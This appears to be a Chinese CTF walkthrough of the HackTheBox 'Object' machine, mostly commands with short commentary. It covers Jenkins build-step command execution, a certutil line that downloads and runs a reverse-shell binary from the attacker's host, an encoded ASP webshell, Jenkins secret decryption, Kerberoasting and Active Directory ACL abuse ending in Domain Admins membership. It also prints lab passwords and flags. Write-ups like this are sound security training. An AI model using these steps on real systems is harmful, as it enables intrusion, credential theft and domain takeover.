nmap -p- -v -sV -A --min-rate 10000 -Pn 10.10.11.132
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Mega Engines
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8080/tcp open http Jetty 9.4.43.v20210629
|_http-favicon: Unknown favicon MD5: 23E8C7BD78E8CD826C5A6073B15068B1
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Jetty(9.4.43.v20210629)
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
80端口跳转链接指向object.htb,把它配到host
8080端口部署的是Jenkins服务
curl -kv http://10.10.11.132:8080/api/python
从响应头X-Jenkins得到版本号2.317,没有已知洞
jetty这个版本有个cve,但是没成功
但是这个Jenkins可以注册,然后就可以进入页面了
但是没有脚本控制台权限,翻了一圈发现也就新建项目有权限了
新建一个Freestyle project,发现add build step可以执行命令
mkdir c:\temp && certutil -urlcache -split -f http://10.10.14.3:8000/rev.exe c:\temp\rev.exe && c:\temp\rev.exe
但是配置完发现没有启动构建的按钮
重新进入configure里的Build Triggers选项栏,发现build periodically和trigger builds remotely是可以利用的
首先在个人信息里有个api token,生成一个
116f0dfd7578fd036f9dd640e91aa52f18
然后配到项目设置里
根据他的提示只要浏览器访问
但是发现外连被拦截了,直接拿反弹shell看样子不行了。但是已经可以拿到user.txt了,就在当前用户的桌面,只要改一下命令就行
现在打算看看能不能写个webshell,因为Jenkins下看到是个war包,不是jsp。所以打算写到80端口的IIS下去,但是没权限
# <%eval request("pass")%>
echo PCVldmFsIHJlcXVlc3QoInBhc3MiKSU+Cg== > C:\inetpub\wwwroot\yjh.txt && certutil -decode C:\inetpub\wwwroot\yjh.txt C:\inetpub\wwwroot\yjh.asp
把管理员的config.xml复制到本地
type C:\Users\oliver\AppData\Local\Jenkins\.jenkins\users\admin_17207690984073220035\config.xml
在secrets目录下获取master.key和hudson.util.Secret
master.key直接type就行,这个secret是个二进制得base64一下
可以用powershell也可以certutil
certutil -encode C:\Users\oliver\AppData\Local\Jenkins\.jenkins\secrets\hudson.util.Secret .\secret.txt && type .\secret.txt
它这里以证书的形式输出,带了不必要的换行,得去掉
使用pwn_jenkins破解
得到管理员Jenkins管理员Oliver的密码
c1cdfun_d2434
evil-winrm -u oliver -p c1cdfun_d2434 -i 10.10.11.132
116abc406a8c9b2e770c298f60abb52804
进行一波信息收集之后,发现这台居然是个域控。普通域成员还有个maria
通过evil-winrm上传sharphound,再把结果导入bloodhound
bloodhound选择分析find shortest paths to domain admins
从bloodhound给的abuseinfo可以看到我们已经控制的Oliver用户可以强制更改Smith的密码,Smith对Maria有generic write权限,可以给Maria设置spn再进行Kerberoast攻击,而Maria对域管理员组有写权限,即Maria可以把自己加入到域管
$newpass = ConvertTo-SecureString 'wuerror@123' -AsPlainText -Force
#powerview
Set-DomainUserPassword -Identity smith -AccountPassword $newpass
(查看了0xdf的walkthrough)
用Smith用户登录,并导入powerview
setspn -a MSSQLSvc/object.local:1433 object.local\maria
#确认生效
Get-DomainUser maria | Select serviceprincipalname
$pass = ConvertTo-SecureString 'wuerror@123' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('object.local\smith', $pass)
Get-DomainSPNTicket -SPN "MSSQLSvc/object.local:1433" -Credential $Cred
这里其实设置完spn之后用Rubeus也可以拿到了,但还是要提供Smith的账号密码,否则能显示Maria可以攻击但是拿不到hash
会报错No credentials are available in the security package
.\Rubeus.exe kerberoast /creduser:object.local\smith /credpassword:wuerror@123
破解的时候我发现为了让John能够识别,除了hash要变成一行,而且经过与能够识别的krb5tgs hash对比我发现开头的**:1433**要删除,否则识别不出来
不过倒霉的是,没爆出来。。。。
hacktricks中介绍到对用户有GenericWrite权限可以尝试更新他的logon script,在他下一次登录时,该脚本就会被触发。
Set-DomainObject -Identity maria -SET @{scriptpath="C:\\temp\\cmd.ps1"}
cmd.ps1的内容为
ls \users\maria\documents > \temp\out; ls \users\maria\desktop\ > \temp\out2
发现脚本被执行了,Maria桌面有个xls文件,复制出来看看
修改cmd.ps1的内容为
copy \users\maria\desktop\Engines.xls \temp\
再通过evil-winrm下载下来
download c:\temp\Engines.xls /home/wuerror/Downloads/temp/object/Engines.xls
就三个手动试一下
evil-winrm -i 10.10.11.132 -u maria -p 'W3llcr4ft3d_4cls'
登录成功
利用powerview把
import-module .\powerview.ps1
#成为ownner
Set-DomainObjectOwner -Identity 'Domain Admins' -OwnerIdentity 'maria'
#添加权限
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity maria -Rights All
#把自己加入管理员组
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'maria'
当前session权限并未生效,winrm重新登一次
获取到root.txt
此处可能存在不合适展示的内容,页面不予展示。您可通过相关编辑功能自查并修改。
如您确认内容无涉及 不当用语 / 纯广告导流 / 暴力 / 低俗色情 / 侵权 / 盗版 / 虚假 / 无价值内容或违法国家有关法律法规的内容,可点击提交进行申诉,我们将尽快为您处理。